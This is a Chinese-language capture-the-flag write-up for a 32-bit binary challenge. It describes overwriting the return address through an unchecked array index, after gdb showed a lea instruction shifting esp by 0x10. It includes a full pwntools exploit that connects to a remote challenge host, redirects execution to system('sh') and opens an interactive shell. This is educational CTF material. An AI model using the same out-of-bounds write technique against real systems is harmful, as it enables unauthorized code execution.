在这道题耗了很多时间,有很多陷阱,记录一下。
一开始就可以看到所谓的后门函数。
所以设想栈溢出执行这个函数。
查看源码,发现对修改数组没有做限制,很自然想到一个字节一个字节修改返回地址。
但是:
即使你修改了,也会像这样打不通。
因为:
当时我检查了脚本很久,确认无误,gdb调试也确实修改了返回地址,但检查汇编代码发现,最后有 lea 指令改变了esp的值。
所以继续用gdb调试。
这是一开始记录的ebp的地址。
这是esp最后的地址,相差了0x10。
所以修改脚本,并且打通本地。
但是:
要修改system的参数,幸好题目不算太坏,可以找到'sh\x00'字符串。
最后打通,以下是exp:
from pwn import *
system=0x8048450
sh=0x08048987
io=remote('61.147.171.105',55727)
#116
elf=ELF('./pwn')
print(elf.plt['system'])
io.recvuntil(b"How many numbers you have:\n")
io.sendline(b'1')
io.recvuntil(b"Give me your numbers\n")
io.sendline(b'13')
def change(idx,content) :
io.recvuntil(b"1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit\n")
io.sendline(b'3')
io.recvuntil(b"which number to change:\n")
io.sendline(str(idx).encode())
io.recvuntil(b"new number:\n")
io.sendline(content)
change(132,b'80')
change(133,b'132')
change(134,b'4')
change(135,b'8')
change(140,b'135')
change(141,b'137')
change(142,b'4')
change(143,b'8')
io.recvuntil(b"1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit\n")
io.sendline(b'5')
io.interactive()
本题思考:
1.多用gdb调试
2.做不出题目的时候,可以多看看汇编指令,可能有发现